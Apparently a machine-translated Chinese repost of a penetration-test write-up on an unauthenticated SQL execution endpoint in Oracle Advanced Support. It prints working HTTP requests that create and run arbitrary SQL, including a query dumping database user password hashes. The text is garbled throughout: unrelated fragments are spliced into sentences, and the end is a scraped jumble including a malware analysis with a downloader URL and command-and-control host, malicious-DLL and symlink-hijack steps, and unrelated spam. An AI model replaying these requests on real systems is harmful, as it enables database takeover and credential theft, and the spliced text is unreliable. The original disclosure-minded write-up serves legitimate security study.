Oracle Advanced Support系统SQL注入缝隙分析
一年多前我在客户的一个外部环境中实行浸透测验,任何外部环境浸透测验的重要过程之一就是发掘刚初步调试时,将断点下在handleCommand函数初步处(0x08049262),不能成功间断,而是收到sigchld信号,调试失利。查阅资料后得知这是因为多进程的原因。出可访问的WEB服务。nmap和EveWitness的结合会令这过程变得更快,因为我们可以进行端口扫描 而且把这些成果以屏幕截图的方式导入到 EyeWitness中。当梳理完 EyeWitness供应的屏幕截图页面后,我发现了一个Oracle 高档支撑服务。
尽管我之前从没听过Oracle Advanced Support,但是当我很快的google完之后,我了解到它似乎是一个答应oracle的技术支撑在外部登入,而且在oracle系统环境下进行任何技术支撑需求的操作的服务。有了这个信息之后, 我们可以将现有的web运用测验与它结合起来。
我们可以对这个运用开端进行一些简略的侦办,包含:
寻觅现已被爆出的缝隙
用burp爬取运用
枚举常见的途径
检查可获取的页面的源码
走运的是,我在主页的源码中发现了 一个包含财物目录清单的链接。
关于像这样一个不知道的运用,目录列表是很有用的,它给我们了一些希望去发现一些很风趣 但不应该被访问到的东西 。果不其然的在搜索每个目录之后,我偶尔发现了以下的javascript文件:
让它变得更适合阅览一些
在Web浸透测验中,其间一个我喜爱的而且常常忽视的工作是查找运用中的javascript文件, 而且看看他们是否支撑任何POST 或者是GET恳求。
我们现已发现了一个叫做sql-service.js的javascript文件,这让我立刻在脑海中进步起警惕来。这个文件包含4个匿名函数其间三个t.get *** ON *** 的GET恳求和一个t.post *** 的POST恳求。这些函数包含如下一些变量:
1 2 3 4 getSqlData
createNamedSql
getNamedSqlList
getSqlNameList
在这篇文章的剩下部分,我将提及匿名函数中的变量。
每个函数的根节点都坐落/rest/data途径下。
接下来是将他们拆分之后的恳求:
1 2 3 4 GET /rest/data/sql
POST /rest/data/sql
GET /rest/data/sql_list
GET /rest/data/sql_name_list
有了这些之后,开端拿出我最喜爱的署理东西:burp,看看会发作什么!
犁庭扫穴
我首要测验的是来自于getSqlData函数途径是/rest/data/sql的GET恳求。我们也通过调查javascript发现这个恳求需求附加一个参数,让我们在结束加上”test”.
1 2 3 4 HTTP Request:
GET /rest/data/sql/test HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json Content-Length: 0
HTTP Response:
HTTP/1.1 404 Not Found Content-Type: application/json Content-Length: 20 Connection: close Named SQL not found.
当我们把”test”加到恳求url的结尾,服务器回来了404。一起服务器也回来了这样一个信息:Named SQL not found。假设我们测验”test”之外的其他字符串,得到了相同的回来信息。我们把这个恳求发到Burp 的 intruder模块,计划企图过一个目录列表字典来枚举潜在的参数名,看看是否能得到除了404之外的回来。但是有一个更简略的 *** 来找到适宜的参数名。假设我们再次检查javascript,你会发现函数的称谓给我们一些有价值的信息。我们在以下函数中发现了两个GET恳求:getNamedSqlList 和 getSqlNameList.。我们方才的恳求回来的过错信息是 Named SQL n
------有备份数据库的权限
ot found error。让我们测验针对getNamedSqlList函数的GET恳求。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 HTTP Request:
GET /rest/data/sql_list HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json
Content-Length: 0
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Connection: close
Content-Length: 243633
[{"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]},{"id":2,"name":"cpu_only","sql":"SELECT TIME,CPU_UTILIZATION FROM TIME_REPORT","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[]},{"id":3,"name":"simple_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE < ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":1,"name":"cpu_usage","type":"int","value":null}]},{"id":4,"name":"double_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE between ? and ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":2,"name":"cpu_low","type":"int","value":null},{"id":3,"name":"cpu_high","type":"int","value":null}]},{"id":5,"name":"by_time","sql":"select time, cpu_usage from CPU_MONITOR where time(time) > ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":4,"name":"time","type":"string","value":null}]},{"id":10,"name":"tableTransferMethod","sql":"SELECT result_text, result_value FROM MIG_RPT_TABLE_TRANSFER_METHOD WHERE scenario_id = :scenario_id AND package_run_id = :pkg_run_id AND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":5,"name":"scenario_id","type":"int","value":null},{"id":6,"name":"pkg_run_id","type":"string","value":null},{"id":7,"name":"engagement_id","type":"int","value":null}]},{"id":16,"name":"dataTransferVolumes","sql":"select RESULT_TEXT,n RESULT_VALUEnfrom MIG_RPT_DATA_TRANSFER_VOLUMEnwhere scenario_id = :scenario_idnAND package_run_id = :pkg_run_idnAND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":8,"name":"scenario_id","type":"int","value":null},{"id":9,"name":"pkg_run_id","type":"string","value":null},{"id":10,"name":"engagement_id","type":"int","value":null}]},{"id":17,"name":"dataCompressionPercentage","sql":"SELECT RESULT_TEXT,n RESULT_VALUEnFROM MIG_RPT_DATA_COMPRESSION_PCTnWHERE scenario_id = :scenario_idnAND package_run_id = :pkg_run_idnAND engagement_id =
g) 模块化规划,在受害者机器上可轻松进行更新 …
这确实给了我们不少的信息,让我们仔细分析一下,我们取得了一组json目标,看一下数组中的之一个目标:
1 {"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]}
我们发现了以下的特点:name, sql, dataSourceJNDI, privileges, and paramList,其间 sql特点是我最感兴趣的因为它包含了具有字符串值的SQL句子。我们把name的值放进从前测验的GET恳求中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 HTTP Request:
GET /rest/data/sql/sample HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json;charset=UTF-8
Content-Length: 0
HTTP Response:
HTTP/1.1 400 Bad Request
Content-Type: application/json
Content-Length: 44
Connection: close
Bad Request.Param value not defined for time
Hey!我们得到一些回来!但是我们少了一个参数,让我们加进来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 HTTP Request:
GET /rest/data/sql/sample?time=1 HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json;charset=UTF-8
Content-Length: 0
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 2
Connection: close
尽管没有从服务器取得任何回来,但是也没有回来任何过错!莫非是比如中的SQL句子被实行了,仅仅没有回显?我们可以持续测验其他的从从前恳求中取得的names,但是我们看一下原始的javascript。我们发现有一个叫做createNamedSQL的函数,它是一个POST的恳求。我们知道来至于getNamedSqlList 的恳求的回来值包含了sql句子的值。也许是这个post恳求会答应我们在服务器上 实行sql查询。我们试一下!
SQL Execution
这就是createNamedSQL中在包体里面包含一个空json目标的POST恳求:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 HTTP Request:
POST /rest/data/sql HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json
Content-Length: 0
{}
HTTP Response:
HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Content-Length: 71
Connection: close
A system error has occurred: Column 'SQL_NAME' cannot be null [X64Q53Q]
我们得到一个关于SQL_NAME列的过错,当我们在包体中包含空的json目标时这不是很意外。现在我们在包体里参加一个随机的特点名和数值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 HTTP Request:
POST /rest/data/sql HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Length: 16
Content-Type: application/json;charset=UTF-8
{"test":1}
HTTP Response:
HTTP/1.1 400 Bad Request
Content-Type: text/plain
Content-Length: 365
Connection: close
Unrecognized field "test" (class com.oracle.acs.gateway.model.NamedSQL), not marked as ignorable (6 known properties: "privileges", "id", "paramList", "name", "sql", "dataSourceJNDI"])
at [Source: org.glassfish.jersey.message.internal.EntityInputStream@1c2f9d9d; line: 1, column: 14] (through reference chain: com.oracle.acs.gateway.model.NamedSQL["SQL_NAME"])
再一次不意外的取得了一个关于不知道“test”字段的bad request,但是假设你留意的话,这个过错的信息给我们回来了一些有用的特点。感谢 Oracle先生的服务!这些特点也相同呈现了从getNamedSqlList宣布恳求取得的回来中。我运用getNamedSqlList恳求的回来中其间的一个值赋给dataSourceJNDI特点。
1 2 3 4 5 6 7 8 9 10 11 12 13 HTTP Request:
POST /rest/data/sql HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Length: 101
Content-Type: application/json;charset=UTF-8
{
"name": "test",
"sql":"select @@version",
"dataSourceJNDI":"jdbc/portal"
}
这看起来是一个很好的测验恳求,我们来见证一下 他是否有用。
1 2 3 4 5 6 HTTP Response:
HTTP/1.1 500 Internal Server Error
Content-Type: text/plain
Content-Length: 200
Connection: close
A system error has occurred: MessageBodyWriter not found for media type=text/plain, type=class com.oracle.acs.gateway.model.NamedSQL, genericType=class com.oracle.acs.gateway.model.NamedSQL. [S2VF2VI]
我们依然从服务器取得了一个过错回来,但是只回来了content-type。SQL句子或许现已被创建了。通过把称谓字段设为“test”, 让我们测验之一个具有参数的GET恳求。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 HTTP Request:
GET /rest/data/sql/test HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json;charset=UTF-8
Content-Length: 0
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 24
Connection: close
[{"@@version":"5.5.37"}]
看这儿!我们取得了一些SQL实行。
看一下“我们”是谁。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 HTTP Request:
POST /rest/data/sql HTTP/1.1
Host: host
Connection: close
Accept: */*
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
1. 把脚本直接张贴到交互式的PowerShell控制台 Content-Length: 101
Content-Type: application/json;charset=UTF-8
{
"name": "test2",
"sql":"SELECT USER from dual;",
"dataSourceJNDI":"jdbc/portal"
}
HTTP Request:
GET /rest/data/sql/test2 HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json;charset=UTF-8
Content-Length: 0
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 19
Connection: close
[{"USER":"SY *** AN"}]
看起来我们是SY *** AN 用户。通过这个oracal 文档(https://docs.oracle.com/cd/B16351_01/doc/server.102/b14196/users_secure001.htm) 知道,我们就是administrator.
试一下 我们能否抓取出用户的哈希.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 HTTP Request:
POST /rest/data/sql HTTP/1.1
Host: host
Connection: close
Accept: */*
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Length: 120
Content-Type: application/json;charset=UTF-8
{
"name": "test3",
"sql":"SELECT name, password FROM sys.user$",
"dataSourceJNDI":"jdbc/portal"
}
HTTP Request:
GET /rest/data/sql/test3 HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json;charset=UTF-8
Content-Length: 0
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 5357
Connection: close
[{"NAME":"SYS","PASSWORD":"[REDACTED]"},{"NAME":"PUBLIC","PASSWORD":null},{"NAME":"CONNECT","PASSWORD":null},{"NAME":里面的PS意思就是暗码已设置。"RESOURCE","PASSWORD":null},{"NAME":"DBA","PASSWORD":null},{"NAME":"SYSTEM","PASSWORD":"[REDACTED]"},{"NAME":"SELECT_CATALOG_ROLE","PASSWORD":null},{"NAME":"EXECUTE_CATALOG_ROLE","PASSWORD":null}
…
我们可以取得数据库中的用户暗码的哈希值。我修改和删除了首要的部分。知道了我们是一个具有administrator权限的用户,当然后续我们还可以做许多工作。但是,针对此博客的意图,我停止下来了。
定论
关于这个匿名sql实行我联系了oracle,他们很快的回复而且修正了这个问题。对我而言真实的问题是为什么web服务压根儿就答应sql句子被实行呢?
这个博客更大的收成是必定要看运用中的javascript文件。在多个web运用和外网的浸透测验中,我现已发现了隐藏在javascript文件中sql 注入,指令实行,和 xml实体注入侵犯。
作为针对娴熟浸透测验者的操练使命,看完这篇博客而且计算多少个你能确认的缝隙。提示:超越三处
参看
https://github.com/ChrisTruncer/EyeWitness
https://nmap.org/
https://docs.oracle.com/cd/B16351_01/doc/server.102/b14196/users_secure001.htm
https://docs.oracle.com/cd/B28359_01/server.111/b28337/tdpsg_user_accounts.htm#TDPSG20000
https://portswigger.net/burp/help/repeater_using.html
课程计划:Oracle Advanced Support体系SQL注入缝隙发掘经历共享
{我们也可以运用符号链接技能来劫持一个特定的日志文件(如some.log),以创建一个具有侵犯者选择的称谓的恣意文
件,例如,程序目录中的DLL。%SystemDrive%Oracle Advanced Support系统SQL注入漏洞挖掘经验分享
课程方案0x002 PALETTE RW Primitive每个新用户都需求更新坐标。更新后的系统以非常简略的 *** 作业:它导航到Google的ReCaptcha站点,然后导航到音频应战,下载应战,将其提交到Speech To Text,解析照应并键入答案,然后单击提交并检查是否侵犯成功。@蒋之旸 : 关闭短信的im信息就没了。[1][2]黑客接单网大小为64字节,包含:
}图5在该工作中一共触及5个样本,样本1作为一个“抓鸡”东西运用永久之蓝缝隙对指定IP段进行扫描(运用样本2),关于存在缝隙的445端口便植入一个downloader(样本3),这个downloader会从侵犯者的HFS站点(http://flamess.cn:48096/666.exe)下载一个木马Loader(样本4),loader会在内存中解密“大灰狼”远控并在内存实行,回连主控端(flamess.cc:2012)。整个逻辑进程可参看下图:关于Mac/iOS中运用到的dylib,可以运用class-dump和hoppper结合进行反汇编分析。class-dump又是一款开源解析MachO利器,与MachOView类似的是,他可按照MachO偏移量,找寻符号表(Symbol Table),然后导出类名和 *** 名,但是他供应了许多参数用于导出不同架构的MachO链接符号表。运用如下指令导出类名 *** 名到文件中:课程方案
HKLMSYSTEMCurrentControlSetControlSessionManagerAppCompatCacheAppCompatCache(for Non-XP) final=""
所谓文件型加密卷,断章取义,你会创建一个占有必定体积大小的文件,不过这个文件是被加密的,它没有格式且无法被其他运用翻开,只能通过 VeraCrypt 输入暗码翻开。
默许是安装在/usr/local/bin/目录下。
$end_time=microtime(true);[CVE_2014_3153 / Futex bug / Towelroot] (http://seclists.org/oss-sec/2014/q2/467)Oracle Advanced Support系统SQL注入漏洞挖掘经验分享课程方案结束原理分析: 在网上看到有童鞋发帖说删去什么ini什么的,这些都是治标不治本的 *** 假设人家自己写一个驱动
躲藏呢,这时候又咋处理?所以原理非常重要。我举荐求其道而弃其术。 [+] Mailbox GUID: [251 102 208 159 53 202 228 77 184 67 76 15 228 47 61 223]我们在选择运用xposed功用模块的时分,或许根据以下需求之一:获取要害信息
Wed Aug 31 18:07:05 GMT 2016 检查口令确认战略2.2 配备burpsuite课程方案
传达 *** 如有疑问,欢迎联络。
因为暗码强度是根据暗码明文来核算的,而不是暗码的MD5值,但是数据库中存储的是暗码的MD5值.
这个系统的结束,应该与三星在Knox的运用层中运用的Container的原理类似。即在设备上创建出一个虚拟的Android环境,作为一个类似沙盒(Sandbox)的独立环境,在容器中工作的运用程序与容器外的运用程序是无法进行交互的,然后为沙盒内的程序供应了保护。这也就是现在奇酷并没有把支付宝放入工业保险箱中的原因,因为一旦放入,其他程序就无法与支付宝进行交互。
Oracle Advanced Support系统SQL注入漏洞挖掘经验分享第二步:运用Msfvenom创建恶意DLL文件运用篡改正的固件,发送恰当的CAN信息,然后操作车辆,这是运用SPI,通过OMAP芯片向V850芯片上修改正的固件发送信息结束的。这一进程需求用到2013年文章中类似的研讨知识。强制访问控制(MAC)和根据人物的访问控制(RBAC)是老式 POSIX 系统中一种对底子用户用户组安全机制的扩展。其时不少数的发行版都现已内建了MAC/RBAC 功用(Fedora,Ubuntu)或许将 MAC/RBAC 作为设备后可选的附加项供应给用户(Gentoo,Arch,Debian)。很显然,我们剧烈建议你选择一个已内建 MAC/RBAC 功用的发行版,不过假设你对运用其他的发行版有剧烈的自愿,那么也请在设备好系统后在设备 MAC/RBAC 功用。
IIS7.5触及两个账户,一个为匿名账户,一个为运用程序池账户。在磁盘的NTFS权限设置中,匿名账户只需求具有对网站目录的读取权限即可;而运用程序池账户需求根据程序实际情况给予相应权限,比如:需求去写文件,则要给予写权限,需求去调用一个程序(如cmd.exe)则需求给予实行权限。总之,对文件的访问,首要需求有匿名账户的访问权限,然后再根据程序的操作需求什么样的权限给予运用程序池账户相应的权限。
HACK黑客常用哪些工具 1、Hackode是一款Android应用,其基本上属于一整套工具组合,主要面向高阶黑客、IT专家以及渗透测试人员。在这款应用当中,我们可以找到三款模块——Reconnais...
现在大家其实都非常的清楚,目前的社会发展非常的迅速,所以大家要追上着前进的步伐不然就会让与社会脱节,让社会抛弃,而稳定的工作也将不再会是大家的保证,现在和想要追上时代变化的脚步就要进行创业,现在也就只...
中新社北京12月5日电 (记者 应妮)著名旅法华裔画家常玉创作于1940年代的花卉力作《红底黄菊》5日现身北京华艺秋拍,以8165万元人民币成交,创2020年内地拍卖市场常玉作品最高价。 常...
志愿者实践报告(蒲公英筑梦队三下乡志愿服务实践报告) 华北水百思特网利水电大学蒲公英筑梦队三下乡实践报告 为了帮助孩子们拓宽视野,鼓励他们努力学习,激发他们的学习兴趣,使他们树立报效祖国、改变家乡...
与智能手机或受暗码维护的桌面相似,云拜访权限应该只对合法的帐户一切者有用。 这意味着取证人员需求云端数据的登录名和暗码,有时或许还需求两层要素验证。 在实践取证环境中,取证专家并不总是能得到这些登录凭...
本文目录一览: 1、vivo怎么强制格式化 2、vivo格式化在手机哪个位置? 3、vivo手机格式化在哪里设置 4、vivonexs怎么格式化重启 5、vivo手机怎么格式化系统恢复...